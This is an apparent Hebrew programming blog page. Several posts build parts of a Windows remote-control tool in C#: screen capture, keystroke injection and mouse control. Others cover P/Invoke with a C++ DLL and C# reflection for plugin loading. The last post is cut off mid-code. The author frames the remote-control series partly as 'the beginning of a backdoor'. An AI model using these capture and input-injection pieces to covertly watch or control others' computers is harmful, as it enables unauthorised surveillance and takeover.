‏הצגת רשומות עם תוויות windows. הצג את כל הרשומות
‏הצגת רשומות עם תוויות windows. הצג את כל הרשומות

יום שני, 2 ביוני 2014

Remote Control Application - ScreenShot




עד עכשיו נגעתי בסדרה בכלי שליטה מתוכנתים בצד הלקוח, השלב הבא הוא לכידת התמונה בצד השרת באמצעות הספריה הקלאסית GDI, זה לא המנגנון היעיל ביותר אבל מספיק מתאים בשביל המשימה, לכידת המסך צריכה לעמוד בזמנים יחסית טובים על מנת לשמור על חווית משתמש, לא פחות חשוב שניהול הזיכרון צריך להיות מתוחזק כמו שצריך למרות שמדובר ב .Net על מנת למנוע זליגת זיכרון.

בנוסף לקובץ user32.dll שהשתמשנו בעבר נעבוד עם קובץ נוסף GDI.dll שמאפשר לנו לגשת למשאבים הגרפיים במחשב ע"י מספר פונקציות תחילה מקבלים את המצביע עבור הרכיב הפיזי בעזרת הפונקציה CreateDC לאחר מכן יוצרים Buffer משותף עם הפונקציה CreateCompatibleDC, השלב הבא להצהיר על Pointer ל Bitmap של Win32Api עם הפונקציה CreateCompatibleBitmap , מחברים בין ה Bitmap ל Buffer וקוראים לפונקציה BitBlt שאוספת את הפריים מהרכיב הפיזי ומעתיקה אותו ל Buffer ומשם ממשיכים הלאה.

captureControl.cs

       //global stream
        MemoryStream stream;

        //isRunning flag
        public bool isRunning = false;

        int width = 0;
        int height = 0;

        //capture signature
        [DllImport("GDI32.dll")]
        public static extern bool BitBlt(
            int hdcDest, int nXDest, int nYDest,
               int nWidth, int nHeight, int hdcSrc,
            int nXSrc, int nYSrc, int dwRop);

        //create compatible bitmap for device context
        [DllImport("GDI32.dll")]
        public static extern int CreateCompatibleBitmap
            (int hdc, int nWidth, int nHeight);

        //create compatible device context for the device
        [DllImport("GDI32.dll")]
        public static extern int CreateCompatibleDC(int hdc);

        //delete driver context
        [DllImport("GDI32.dll")]
        public static extern bool DeleteDC(int hdc);

        //delete native bitmap type
        [DllImport("GDI32.dll")]
        public static extern bool DeleteObject(int hObject);

        //create device context
        [DllImport("gdi32.dll")]
        static extern int CreateDC(string lpszDriver,
            string lpszDevice,string lpszOutput,
            IntPtr lpInitData);

        //get device information
        [DllImport("GDI32.dll")]
        public static extern int GetDeviceCaps(int hdc, int nIndex);

        //add object to the device context
        [DllImport("GDI32.dll")]
        public static extern int SelectObject(int hdc, int hgdiobj);

        //cursor object win32 api structure
        [StructLayout(LayoutKind.Sequential)]
        private struct CURSORINFO
        {
            public Int32 cbSize;
            public Int32 flags;
            public IntPtr hCursor;
            public POINTAPI ptScreenPos;
        }

        //point type win32 structure
        [StructLayout(LayoutKind.Sequential)]
        private struct POINTAPI
        {
            public int x;
            public int y;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct ICONINFO
        {
            public bool fIcon;
            public Int32 xHotspot;
            public Int32 yHotspot;
            public IntPtr hbmMask;
            public IntPtr hbmColor;
        }

        ////for more information visit
        ////http://msdn.microsoft.com/en-us/library/windows/desktop/dd145130(v=vs.85).aspx
        public enum TernaryRasterOperations : uint
        {
            /// <summary>dest = source</summary>
            SRCCOPY = 0x00CC0020,
            /// <summary>dest = source OR dest</summary>
            SRCPAINT = 0x00EE0086,
            /// <summary>dest = source AND dest</summary>
            SRCAND = 0x008800C6,
            /// <summary>dest = source XOR dest</summary>
            SRCINVERT = 0x00660046,
            /// <summary>dest = source AND (NOT dest)</summary>
            SRCERASE = 0x00440328,
            /// <summary>dest = (NOT source)</summary>
            NOTSRCCOPY = 0x00330008,
            /// <summary>dest = (NOT src) AND (NOT dest)</summary>
            NOTSRCERASE = 0x001100A6,
            /// <summary>dest = (source AND pattern)</summary>
            MERGECOPY = 0x00C000CA,
            /// <summary>dest = (NOT source) OR dest</summary>
            MERGEPAINT = 0x00BB0226,
            /// <summary>dest = pattern</summary>
            PATCOPY = 0x00F00021,
            /// <summary>dest = DPSnoo</summary>
            PATPAINT = 0x00FB0A09,
            /// <summary>dest = pattern XOR dest</summary>
            PATINVERT = 0x005A0049,
            /// <summary>dest = (NOT dest)</summary>
            DSTINVERT = 0x00550009,
            /// <summary>dest = BLACK</summary>
            BLACKNESS = 0x00000042,
            /// <summary>dest = WHITE</summary>
            WHITENESS = 0x00FF0062
        }


        //for more info visit
        //http://msdn.microsoft.com/en-us/library/windows/desktop/ms648381(v=vs.85).aspx
        private const Int32 CURSOR_SHOWING = 0x1;
        private const Int32 CURSOR_SUPPRESSED = 0x2;

        //getting cursor info signature
        [DllImport("user32.dll")]
        private static extern bool GetCursorInfo(out CURSORINFO pci);

        //getting cursor info signature
        [DllImport("user32.dll", EntryPoint = "GetIconInfo")]
        public static extern bool GetIconInfo(IntPtr hIcon, out ICONINFO piconinfo);

        //getting icon buffer signature
        [DllImport("user32.dll", EntryPoint = "CopyIcon")]
        public static extern IntPtr CopyIcon(IntPtr hIcon);

        //return handle to the desktop window
        [DllImport("user32.dll", EntryPoint = "GetDesktopWindow")]
        public static extern IntPtr GetDesktopWindow();

        //getting device context
        [DllImport("user32.dll", EntryPoint = "GetDC")]
        public static extern IntPtr GetDC(IntPtr ptr);


        /// <summary>
        /// initialize settings 
        /// </summary>
        /// <param name="captureWidth">the width to capture</param>
        /// <param name="captureHeight">the height to cature</param>
        public captureControl(int captureWidth, int captureHeight)
        {
            width = captureWidth;
            height = captureHeight;
        }

        /// <summary>
        /// capture screen shot
        /// </summary>
        /// <returns>return stream</returns>
        public MemoryStream makeScreenShot()
        {
            //process flag to true
            isRunning = true;

            //create stream for return
            stream = new MemoryStream();

            //X draw position - cursor
            int x = 0;
            //Y draw position - cursor
            int y = 0;

            //create device context for Display device
            int hdcSrc = CreateDC("Display", null, null, IntPtr.Zero);

            //make it compatible.
            int hdcDest = CreateCompatibleDC(hdcSrc);
            int hBitmap = CreateCompatibleBitmap(hdcSrc,
                Screen.PrimaryScreen.Bounds.Width,
                Screen.PrimaryScreen.Bounds.Height);

            //add object to device context
            SelectObject(hdcDest, hBitmap);

            //make bit transfer from device
            BitBlt(hdcDest, 0, 0, Screen.PrimaryScreen.Bounds.Width,
                Screen.PrimaryScreen.Bounds.Height, hdcSrc, 0, 0,
                             (int)TernaryRasterOperations.SRCCOPY);

            //get image from native bitmap pointer
            Image imf = Image.FromHbitmap(new IntPtr(hBitmap));

            //start graphics from image
            Graphics g = Graphics.FromImage(imf);

            //get cursor bitmap and position
            Bitmap f = getCursorIcon(out x, out y);

            //draw the cursor the image by position
            if (f != null)
                g.DrawImage(f, x, y);

            //encoding parameters
            EncoderParameters encoderParameters = new EncoderParameters(1);
            encoderParameters.Param[0] =
                new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 70L);

            //save image as stream
            imf.Save(stream, GetEncoder(ImageFormat.Jpeg), encoderParameters);

            //remove device context
            DeleteDC(hdcSrc);
            //remove device context
            DeleteDC(hdcDest);
            //remove native bitmap
            DeleteObject(hBitmap);

            //resize the image
            stream = resizeImage(Image.FromStream(stream), new Size(width, height));

            //process flag to false
            isRunning = false;

            return stream;
        }

        /// <summary>
        /// getting the cursor image
        /// </summary>
        /// <param name="x">cursor x position</param>
        /// <param name="y">cursor y poistion</param>
        /// <returns>the cursor bitmap</returns>
        private Bitmap getCursorIcon(out int x, out int y)
        {
            Rectangle bounds = Screen.PrimaryScreen.Bounds;
            CURSORINFO pci;
            pci.cbSize = Marshal.SizeOf(typeof(CURSORINFO));

            x = 0;
            y = 0;


            if (GetCursorInfo(out pci))
            {
                x = pci.ptScreenPos.x - bounds.X;
                y = pci.ptScreenPos.y - bounds.Y;

                IntPtr hicon = CopyIcon(pci.hCursor);

                ICONINFO iconInfo;
                GetIconInfo(hicon, out iconInfo);

                Bitmap maskCursor = Bitmap.FromHbitmap(iconInfo.hbmMask);

                // if the size of the icon is double
                //so is in inverted mode
                if (maskCursor.Height == maskCursor.Width * 2)
                {
                    x = pci.ptScreenPos.x - bounds.X;
                    y = pci.ptScreenPos.y - bounds.Y - 8;

                    //create new bitmap for cursor
                    Bitmap resultBitmap = new Bitmap(maskCursor.Width, maskCursor.Height);

                    //get the desktop
                    Graphics desktopGraphics = Graphics.FromHwnd(GetDesktopWindow());
                    //get it's device context
                    IntPtr desktopHdc = desktopGraphics.GetHdc();

                    //make it compatible
                    int maskHdc = CreateCompatibleDC(desktopHdc.ToInt32());

                    //set object between context and the cursor
                    int oldPtr = SelectObject(maskHdc, (int)maskCursor.GetHbitmap());

                    //start graphics from image
                    Graphics resultGraphics = Graphics.FromImage(resultBitmap);

                    //get device context
                    IntPtr resultHdc = resultGraphics.GetHdc();

                    //combines image bit depends the Ternary Raster Operations
                    //first (0 - 32) pixels draw normaly, (32 - 64) as inverted
                    BitBlt(resultHdc.ToInt32(), 0, 0, 32, 32, maskHdc,
                        0, 32, (int)TernaryRasterOperations.SRCCOPY);
               
                    BitBlt(resultHdc.ToInt32(), 0, 0, 32, 32, maskHdc,
                        0, 0, (int)TernaryRasterOperations.SRCINVERT);

                    //release device context
                    resultGraphics.ReleaseHdc(resultHdc);
                    //dispose grahics
                    resultGraphics.Dispose();

                    //make white pixels transparent
                    resultBitmap.MakeTransparent(Color.White);

                    return resultBitmap;

                }
                else
                {
                    //get bitmap from pointer
                    Bitmap colorCursor = Bitmap.FromHbitmap(iconInfo.hbmColor);

                    //make black pixels transparent
                    colorCursor.MakeTransparent(Color.Black);

                    return colorCursor;
                }

            }

            return null;
        }

       /// <summary>
       /// resize the capture image
       /// </summary>
       /// <param name="imgToResize">instance of the image</param>
       /// <param name="size">the new size</param>
       /// <returns>new image stream</returns>
        private MemoryStream resizeImage(Image imgToResize, Size size)
        {
            MemoryStream resizeStream = new MemoryStream();
            int sourceWidth = imgToResize.Width;
            int sourceHeight = imgToResize.Height;

            float nPercent = 0;
            float nPercentW = 0;
            float nPercentH = 0;

            nPercentW = ((float)size.Width / (float)sourceWidth);
            nPercentH = ((float)size.Height / (float)sourceHeight);

            if (nPercentH < nPercentW)
                nPercent = nPercentH;
            else
                nPercent = nPercentW;

            int destWidth = (int)(sourceWidth * nPercent);
            int destHeight = (int)(sourceHeight * nPercent);

            resizeStream = new MemoryStream();

            Bitmap b = new Bitmap(destWidth, destHeight);
            Graphics g = Graphics.FromImage((Image)b);
            g.InterpolationMode = InterpolationMode.HighQualityBicubic;

            g.DrawImage(imgToResize, 0, 0, destWidth, destHeight);
            g.Dispose();

            b.Save(resizeStream, ImageFormat.Jpeg);


            return resizeStream;
        }

        /// <summary>
        /// get the jpg codec
        /// </summary>
        /// <param name="format">by Imageformat</param>
        /// <returns></returns>
        private ImageCodecInfo GetEncoder(ImageFormat format)
        {

            ImageCodecInfo[] codecs = ImageCodecInfo.GetImageDecoders();

            foreach (ImageCodecInfo codec in codecs)
            {
                if (codec.FormatID == format.Guid)
                {
                    return codec;
                }
            }
            return null;
        }
    }


ברגע הקריאה לפונקציה makeScreenShot מתחילה שרשרת של תהליכים, תחילה לוכדים את התמונה כפי שהסברתי בהתחלה, אבל לכידת המסך לא אוספת את סמן העכבר ולכן יש לקרוא למספר פונקציות נוספות על מנת למצוא אותו ולצייר אותו ידנית אבל גם זה לא פשוט כמו שזה נשמע, למצביעים בעכבר (Cursor) יש 2 מצבים הגודל שלהם בדר"כ הוא  32 פיקסלים אבל לפעמים הוא משתנה ל 64 פיקסלים בגלל הרקע שמתחת, נעזר במספר פונקציות ומבנים מ user32.dll על מנת לטפל במצבים השונים, בסיום התהליך לוקחים את הפריים, מורידים לו את האיכות ,מקטינים ומחזרים אותו להמשך טיפול.

בדומה לשאר המאמרים גם כאן נבנה תוכנית שנועדה לבדיקת התהליך, התוכנית מפעילה את הפונקציה makeScreenShot בעזרת שעון שדוגם (אם אין תהליך דגימה שכבר רץ) כל 10 ms, שומרים את הפריים כ Jpg על מנת להקטין נפחים וטוענים את ה Stream ל PictureBox שמדמה את הלקוח המרוחק.


מסך בתוך מסך בתוך מסך...

captureForm.cs

        captureControl c;
        int frameCounter = 0;

        public captureForm()
        {
            InitializeComponent();
        }

        private void captureForm_Load(object sender, EventArgs e)
        {
            //create new instance for capture control
            c = new captureControl(1200, 600);
            //fit image to picturebox
            pictureBox1.SizeMode = PictureBoxSizeMode.StretchImage;
        }

        /// <summary>
        /// running every 10ms
        /// </summary>
        private void timer1_Tick(object sender, EventArgs e)
        {
            //getting screenshot as stream
            if (c.isRunning)
                return;

            try
            {
                //watch for checking performance
                Stopwatch watch = new Stopwatch();

                watch.Start();
                MemoryStream st = c.makeScreenShot();
                watch.Stop();

                //loaded to the pictureBox
                pictureBox1.Image = Image.FromStream(st);

                //change title and calculate the frame size
                frameCounter = frameCounter + 1;
                this.Text = "captureScreen Frame Counter "
                    + frameCounter.ToString() + " Frame Size: "
                    + (st.Length / 1024).ToString() + " KB width:"
                    + pictureBox1.Image.Size.Width.ToString() + " px Height: "
                    + pictureBox1.Image.Size.Height.ToString() +
                    " px Capture Time: " + watch.ElapsedMilliseconds + " ms";

                //dispose the stream, avoid memory leak
                st.Dispose();
                //call the garbage collector
                GC.Collect();

            }
            catch (Exception ex)
            {
                c.isRunning = false;
            }
        }
    }
ביצועים

לכידת התמונה יחד עם ציור סמן העכבר לוקחת בסביבות 150 ms ברזולוציה 1920X1080 עם מעבד 7 Icore (יחסית ישן) מה שנותן בין 6 ל 7 פריימים בשניה, זה לא הכי אידיאלי אבל אם מורידים את הרזולוציה משפרים את המהירות בצורה משמעותית, מבדיקה נוספת שביצעתי על מחשב נייד עם Icore 7 (גם הוא יחסית ישן) לכידת תמונה ברזולוציה 1366X768 לוקחת בסביבות 110 ms.

סיכום

לכידת מסך היא הרכיב האחרון בפאזל לפני שמתחילים לחבר את הכל, אבל חשוב לי להוסיף שקיימות עוד דרכים שאיתן ניתן לבצע את המשימה כמו:

  • DirectX - לכידת מסך גם מחוץ ל Desktop לדוגמה במשחקים.
  • Windows Media Encoder - מתאים בעיקר ללכידת מסך כוידאו.
  • Mirror Display Driver - הדרך הטובה ביותר אבל מאוד מסובכת, נמצאת בשימוש ב UltraVnc, לכל מי שרוצה לדעת עוד יש דוגמה טובה ב Wdk גרסת 7.600 אולי עוד אחזור לזה בהמשך.

  • עוד תמונה ועוד תמונה...



    יום שבת, 24 במאי 2014

    Remote Control Application - Keyboard



    במאמר הראשון ראינו כיצד ניתן לדמות תנועה של עכבר בעזרת תוכנה בלבד, השלב הבא הוא להשתלט על המקלדת וכך להשלים את מנגנוני השליטה של הלקוח על השרת, נבנה מחלקה יעודית שדרכה נזריק את המידע כאירועים של לחיצה במקלדת,נתחבר לפונקציה חיצונית נוספת בקובץ  user32.dll ונעביר בה את המצבים של המקשים.


    keyboardControl.cs

      public class keyboardControl
        {
            //key event signature
            [DllImport("user32.dll")]
            public static extern void keybd_event(byte bVk, byte bScan,
                uint dwFlags, uint dwExtraInfo);

            //keys:up, down, left, right
            //for more keys visit
            //http://msdn.microsoft.com/en-us/library/dd375731%28v=vs.85%29.aspx
            //const int VK_UP = 0x26; 
            //const int VK_DOWN = 0x28;
            //const int VK_LEFT = 0x25;
            //const int VK_RIGHT = 0x27;
            //...

            //set key status
            const uint KEYEVENTF_KEYUP = 0x0002;
            const uint KEYEVENTF_EXTENDEDKEY = 0x0001;
          

            /// <summary>
            /// set the key as press
            /// </summary>
            /// <param name="key">the number as ascii</param>
            public void press(int key)
            {
                //make key press
                keybd_event((byte)key, 0, 
                    KEYEVENTF_EXTENDEDKEY | 0, 0);

            }

            /// <summary>
            /// release the press key
            /// </summary>
            /// <param name="key">the number as ascii</param>
            public  void release(int key)
            {
                //make the key release
                keybd_event((byte)key, 0, 
                    KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
            }
        }

    תלחצו על Send וישר תעברו ל Notepad


    תוכנית הבדיקה עבור המנגנון מכילה תיבת טקסט וכפתור כאשר נלחץ עליו היו לנו 5 שניות למצוא את הטופס שאליו אנחנו רוצים להזריק את המחרוזת, בדומה לבקשה שמגיעה מהלקוח לשרת, חשוב מאוד להשים לב שאנחנו מחקים את המקלדת לחלוטין כלומר במקרה שנרצה לרשום את האות a נצטרך להעביר את הערך 0x41 שהוא הערך לאות A בטבלת  Ascii במקרה שנרצה להעביר את האות  A  נצטרך ללחוץ על Shift לרשום את הערך 0x41 ואח"כ לשחרר את ה Shift כפי שניתן לראות בדוגמה:

    KeyboardForm.cs

     public partial class keyboardForm : Form
        {
            public keyboardForm()
            {
                InitializeComponent();
            }

            keyboardControl d;
            private void keyboardForm_Load(object sender, EventArgs e)
            {
                d = new keyboardControl();
            }

            /// <summary>
            /// start inject the message to keyboard
            /// </summary>
            private void btn_send_Click(object sender, EventArgs e)
            {

                if (txb_message.Text != "")
                {
                    //wait 5 second this is enougth time to find application and inject it
                    Thread.Sleep(5000);
                    send();

                    txb_message.Text = "";
                }
            }

            /// <summary>
            /// send the message as key press
            /// </summary>
            private void send()
            {
                string message = txb_message.Text;

                for (int i = 0; i < message.Length; i++)
                {
                    //set shift key on
                    if (char.IsUpper(message[i]))
                        d.press(0x10);

                    //set the keys
                    d.press(char.ToUpper(message[i]));
                    d.release(char.ToUpper(message[i]));

                    //release shift key
                    if (char.IsUpper(message[i]))
                        d.release(0x10);

                }
            }
        }


    סיכום

    עד עכשיו טיפלנו בשליטה של הלקוח על החומרה, השלב הבא הוא לבצע לכידה של המסך בשרת ולהעביר למשתמש מרוחק.

    קצת שליטה לא תזיק...

    Remote Control Application - Mouse




    תוכנות לשליטה מרחוק הן כלי חיוני בניהול מחשבים, זה כלי תמיכה מעולה ולגיטמי ברוב המקרים אבל יש מקרים שזה עלול להיות כלי מסוכן שיכול לעלות לנו ביוקר, בסדרת המאמרים הקרובה אתמקד כיצד לבנות תוכנית שתאפשר לנו לשלוט במחשבים מבוססי Windows מרחוק, התוכנית מחולקת ל 2 חלקים כיאה לעבודה עם Sockets אבל לפני שנתחיל לכתוב את צד השרת והלקוח קודם נגדיר על איזה מנגנונים נאפשר שליטה.

    המנגנון הראשון הוא העכבר, אנחנו רוצים להזיז וללחוץ עליו מרחוק, נגדיר מחלקה שדרכה ניגשים למשאבים של העכבר, בעזרת קריאה לפונקציה mouse_event נוכל לדמות אירועים של כפתורים, נוסיף פונקציות נוספות שדרכן נזיז את העכבר לנקודה במסך ונקבל את מיקום הסמן.

     mouseControl.cs

        public class mouseControl
        {
            /// <summary>
            /// mouse virtual buttons
            /// </summary>
            public enum mouseButtons
            {
                LEFT,
                RIGHT
            }

            //mouse event signature
            [DllImport("user32.dll", CharSet = CharSet.Auto, 
                CallingConvention = CallingConvention.StdCall)]

            public static extern void mouse_event(long dwFlags, long dx,
                long dy, long cButtons, long dwExtraInfo);

            //mouse event types, for more events visit this link
            //http://msdn.microsoft.com/en-us/library/windows/desktop/ms646260(v=vs.85).aspx
            private const int MOUSEEVENTF_LEFTDOWN = 0x02;
            private const int MOUSEEVENTF_LEFTUP = 0x04;
            private const int MOUSEEVENTF_RIGHTDOWN = 0x08;
            private const int MOUSEEVENTF_RIGHTUP = 0x10;

            /// <summary>
            /// raise mouse click event
            /// </summary>
            /// <param name="btn">left / right buttons</param>
            public void mouseClick(mouseButtons btn)
            {
                switch (btn)
                {
                    case mouseButtons.LEFT:
                        mouse_event(MOUSEEVENTF_LEFTDOWN | 
                            MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
                        break;
                    case mouseButtons.RIGHT:
                        mouse_event(MOUSEEVENTF_RIGHTDOWN |
                            MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
                        break;
                    default:
                        break;
                }
            }

            /// <summary>
            /// move the mouse to new location
            /// </summary>
            /// <param name="x">x position</param>
            /// <param name="y">y position</param>
            public void mouseMove(int x, int y)
            {
                Cursor.Position = new Point(x, y); 
            }

            /// <summary>
            /// get the cursor location on screen
            /// </summary>
            /// <returns>cursor location</returns>
            public Point screenLocation()
            {
                return Cursor.Position;
            }

        }


    על מנת שנוכל לבדוק את המחלקה נבנה תוכנית מאוד פשוטה, מדובר על טופס שמכיל מספר כפתורים ושדות שדרכם נשלוט בעכבר, בנוסף נגדיר שעון שדוגם כל 100ms את המיקום הנוכחי של העכבר ע"ג המסך, המטרה של התוכנית היא קודם כל לבדוק את הקוד מקומית ואח"כ מרחוק כפי שנראה במאמרים הבאים.




       mouseForm.cs

        public partial class mouseForm : Form
        {
            mouseControl c;

            public mouseForm()
            {
                InitializeComponent();
            }

            private void mouseForm_Load(object sender, EventArgs e)
            {
                txb_x.Text = "0";
                txb_y.Text = "0";
                c = new mouseControl();
            }

            /// <summary>
            /// timer for polling the location every 100ms
            /// </summary>
            private void timer1_Tick(object sender, EventArgs e)
            {
                Point p = c.screenLocation();

                lbl_x.Text = "X:" + p.X.ToString();
                lbl_y.Text = "Y:" + p.Y.ToString();
            }

            /// <summary>
            /// getting the location of the cursor
            /// </summary>
            private void setLocation()
            {
                int x = 0, y = 0;

                int.TryParse(txb_x.Text, out x);
                int.TryParse(txb_y.Text, out y);

                c.mouseMove(x, y);
            }

            /// <summary>
            /// move the cursor by x and y
            /// </summary>
            private void btn_move_Click(object sender, EventArgs e)
            {
                //set the cursor location
                setLocation();
            }

            /// <summary>
            /// move the cursor and make double click on the left button
            /// </summary>
            private void btn_left_Click(object sender, EventArgs e)
            {
                //set the cursor location
                setLocation();

                //single click
                c.mouseClick(mouseControl.mouseButtons.LEFT);
                //add other request for double click
                c.mouseClick(mouseControl.mouseButtons.LEFT);
            }

            /// <summary>
            /// move the cursor and make double click on right button
            /// </summary>
            private void btn_right_Click(object sender, EventArgs e)
            {
                //set the cursor location
                setLocation();

                //single click
                c.mouseClick(mouseControl.mouseButtons.RIGHT);
                //add other request for double click
                c.mouseClick(mouseControl.mouseButtons.RIGHT);
            }
        }


    סיכום

    אז אחרי שיש שליטה על העכבר נעבור למנגנונים נוספים כמו המקלדת ולכידת מסך אח"כ נכתוב את צד השרת ואת צד הלקוח ונשלב בהם את המחלקות שבנינו יחד עם אובייקט מרכזי שיעבור בניהם.

    תחילת של דלת סתרים....

    יום רביעי, 12 בפברואר 2014

    Managed / UnManaged Code




    לאורך הבלוג נזרק המושג Managed Code מספר פעמים ולא יותר מידי הרחבתי עליו , אבל מסתתר מאחוריו פואנטה שכדאי להכיר ולכן החלטתי לכתוב מאמר קצרצר שיסביר את הנושא למרות שכבר עברתי עליו בצורה כזאת או אחרת בבלוג, החיבור בין 2 שיטות ריצה שונות מאפשר יצירת תוכניות מורכבות שמאפשרות ניצול של 2 פלטפורמות שונות זו מזו, לדוגמה האפשרות לכתוב שכבה שעובדת מול Win32 API שלא ניתן לגשת אליה באופן חופשי מ .Net כפי שכבר הראתי בעבר ב Personal Firewall.


    Managed Code

    סביבת .Net מוגדרת כ Manage Code ומזכירה בהתנהגות שלה את Java בכך שב 2 הסביבות נוצר חדר נקי שמאפשר לקוד לרוץ ללא הפרעות, במקרה של .Net אומנם נוצר קובץ EXE בסוף התהליך, אך כאשר מפעילים אותו הוא מפעיל מערכת שלמה מאחורי הקלעים על מנת שיוכל לרוץ, כאשר הקובץ נוצר, הוא נשמר בשפת בניים הנקראת IL ועובר למנגנון CLR ומשם ל JIT כפי שכתבתי במאמר Managed .Net RootKit, לכן זה לא באמת קוד מכונה, הוא נהפך לקוד מכונה תוך כדי ריצה.

    UnManaged Code

    זה קוד שנהפך לקוד מכונה ברגע שמבצעים את ה Compile ומאותו רגע הוא יכול לרוץ ולכן מהיר יותר, בדר"כ נכתוב אותו ב ++C/ C ונשתמש ב Compilers ותיקים בתחום, לא קיים חדר נקי ולכן התוכניות עלולות לגרום נזק למערכת הפעלה ישירות, בדרך כלל נשתמש בו כאשר נרצה לדבר ישירות עם ה Win32API או לשפר ביצועים, השפה שנהנת מכל העולמות היא ++C שמאפשרת כתיבת קוד משולב.

    שימו לב! - ב Managed Code קיים מנגנון ה Garbage Collector שמשחרר זיכרון באופן עצמי גם אם לא שחררתם אותו בעצמכם לעומת זאת ב UnManaged Code הוא לא קיים ואחריות שחרור הזיכרון היא על המפתחים בלבד.

    בדוגמה הבאה אני ידגים כיצד לחבר בין אפליקציית .Net עם פונקציות שנכתבו ב  ++C/ C, תחילה נתמקד ב UnManaged Code שאותו אני אכתוב ב ++C בעזרת Visual Studio.

    dllctest.h

    //in C++ we can have functions with the same name,
    //the compiler create unique name for each function, 
    //in C is not possible to have different functions with the same name, 
    //the extern "C" tell the compiler to keep the name as is like in C
    //be aware from functions with the same name!.
    extern "C" {
    //exported function signature,
    //__declspec tell to compiler to expose the function
    __declspec(dllexport)   char *  getString(void);
    __declspec(dllexport)   void  setString(char * data);
    }


    dllctest.cpp

    //dllctest.cpp : Defines the exported functions for the DLL application.
    #include "stdafx.h"
    #include "dllctest.h"

    static char * sdata;

    //tell to compiler someone else going to use this method
    extern char * getString(void)
    {
    return sdata;
    }

    //tell to compiler someone else going to use this method
    extern void setString(char * data)
    {
    sdata = data;
    }

    יש מספר מילים שמורות שאומרות ל Compiler שמדובר על פונקציות שמשהו אחר (חיצוני) הולך להשתמש בהם, ומאפשרות לחשוף אותן החוצה, בגלל שהקוד עצמו  ב ++C חשוב להגיד ל Compiler שישמור על השמות של הפונקציות כמו שהם בדומה להתנהגות של C כי אחרת הוא ממציא להן שמות בעצמו.

    שימו לב! - חשוב מאוד שהשמות של הפונקציות לא יחזרו על עצמן, ב C זה בלתי אפשרי אבל ב ++C זה אפשרי ועלולה להיות התנגשות בין הפונקציות.

    dllctestcs.cs

    class Program
    {
            //call to external function from dll 
            //using the same signature from the dll
            [DllImport(@"C:\inetpub\wwwroot\dllctest\Debug\dllctest.dll", CharSet = CharSet.Unicode)]
            extern static void setString(string data);

            [DllImport(@"C:\inetpub\wwwroot\dllctest\Debug\dllctest.dll",CharSet=CharSet.Unicode)]
            extern static string getString();

            static void Main(string[] args)
            {
                setString("HI");

                Console.Write(getString());

                Console.ReadLine();
            }
        }
    על מנת לדבר עם ה DLL שיצרנו נשתמש ב (Platform Invocation Services (PInvoke , מנגנון שמגיע עם .Net שמאפשר לטעון DLL של UnManaged Code תוך כדי ריצה, במקרה שלנו אנחנו מעבירים מחרוזות לכן חשוב להגדיר את סוג הקידוד.

    סיכום

    תחשבו לכם איזה יתרון אדיר יש בשילוב בין 2 פלטפורמות שונות שמאפשרות לנו לגעת בכל העולמות, לצורך העניין ב .Net יש כלים נהדרים לעבודה על אתרי אינטרנט, בניית ממשקים, DB וכו' ואילו ב C נוכל לשפר ביצועים ולהגיע למקומות ש .Net לא יכול.

    השילוב הראוי...

    יום שני, 27 בינואר 2014

    C# Reflection Guide



    אחד התחומים המעניינים בפיתוח, האפשרות לתוכנית ללמוד על עצמה תוך כדי ריצה מאפשרת לפתח תוכניות מיוחדות במיוחד, האמת שנושא ה Reflection ישן והוא קיים עוד מתחילת ה Framework הראשון אבל אף פעם לא התייחסתי אליו כי בדרך כלל אין בו צורך, לרוב אנחנו יודעים מה אנחנו הולכים לפתח אבל קיימים מקרים מסויימים בהם יש חור שחור ואין לנו מספיק מידע ולכן עלינו לשמור על קוד גנרי ככל האפשר.

    Reflection

    יכולת של תוכנית לזהות במהלך הריצה את האובייקטים שרצים בה, לנתח אותם ולהפעיל בהם פונקציות באופן דינמי לפי סוג האובייקט או על פי קונבנציה קבועה, במאמר זה אני יעבור על נושא ה Reflection בסביבת .Net אבל היכולת הזאת נתמכת גם בסביבות נוספות כמו JavaScript, C++,Phyton וכו', הרעיון המרכזי הוא להפוך את התוכנית ל"שקופה" ושתוכל להתמודד עם אובייקטים שונים מבלי לעבור Compile כל פעם מחדש.

    לצורך הדוגמה בניתי תוכנית והיא מאפשרת למשתמשים ליצור עבורה Plugins מיוחדים, מהרגע שהכנסתי את התכונה הזאת אני לא יודע מה המשתמש יעשה (האמת שזה לא כלכך צריך לעניין אותי), ואני לא יכול לעשות Compile לתוכנית המקורית כל פעם מחדש כי זה יהיה מגוחך, כאן נכנס ה Reflection לתמונה שבעזרתו אני יכול להגדיר קונבנציה עבור טעינת Plugin כחלק מה SDK של התוכנית, משתמש הקצה מייצר אובייקט שמכיל בתוכו קריאות לפונקציות שנקבעו מראש שמטרתם לחבר בין התוכנית לקוד שהמשתמש יצר, ברגע שמופעלת הפונקציה הקוד של המשתמש רץ מבלי שהיה חלק מהתוכנית עצמה כפי שניתן לראות בקוד הבא:

    public class example
        {
            //private string
            private string msg0 = "this is exmaple of private string!";

            //public string
            public string msg1 = "this is exmaple of public string!";

            //constructor
            public example()
            {

            }

            //public function for invoke return string
            public string returnPrivateMessage()
            {
                return msg0;
            }

            //public function for invoke getting external 
            //parameter and return string
            public string returnEditMessage(string msg)
            {
                return "you write: " + msg;
            }
        }


    המשתמש עוטף את המחלקה כ DLL ומעתיק אותה לתיקיית Plugin בתוכנית,התוכנית טוענת אותו לזיכרון ומחפשת את הפונקציה שנקבעה מראש על מנת להפעיל אותה ובעצם מעבירה את הריצה ל DLL מבלי לדעת מה בדיוק עומד לקרות שם.


    class Program
        {
            static void Main(string[] args)
            {
                //load assmbly dynamically
                Assembly assemblyInstance = Assembly.LoadFrom(@"C:\\RefDLL.dll");

                Type[] types = assemblyInstance.GetTypes();

                for (int i = 0; i < types.Length; i++)
                {
                    //search for specific type
                    if (types[i].Name.ToLower() == "example")
                    {
                        MethodInfo[] methods = types[i].GetMethods();
                        if (methods != null)
                        {
                            for (int z = 0; z < methods.Length; z++)
                            {
                                //search for specific method
                                if (methods[z].Name == "returnPrivateMessage")
                                {
                                    //create instance for dynamic object
                                    object classInstance = Activator.CreateInstance(types[i], null);

                                    //execute method and gettig string
                                    object res = methods[z].Invoke(classInstance, new object[0]);

                                }

                                if (methods[z].Name == "returnEditMessage")
                                {
                                    //create parameters array for function,
                                    //you can get the types of the arguments using
                                    //ParameterInfo[] parameters = methods[z].GetParameters();
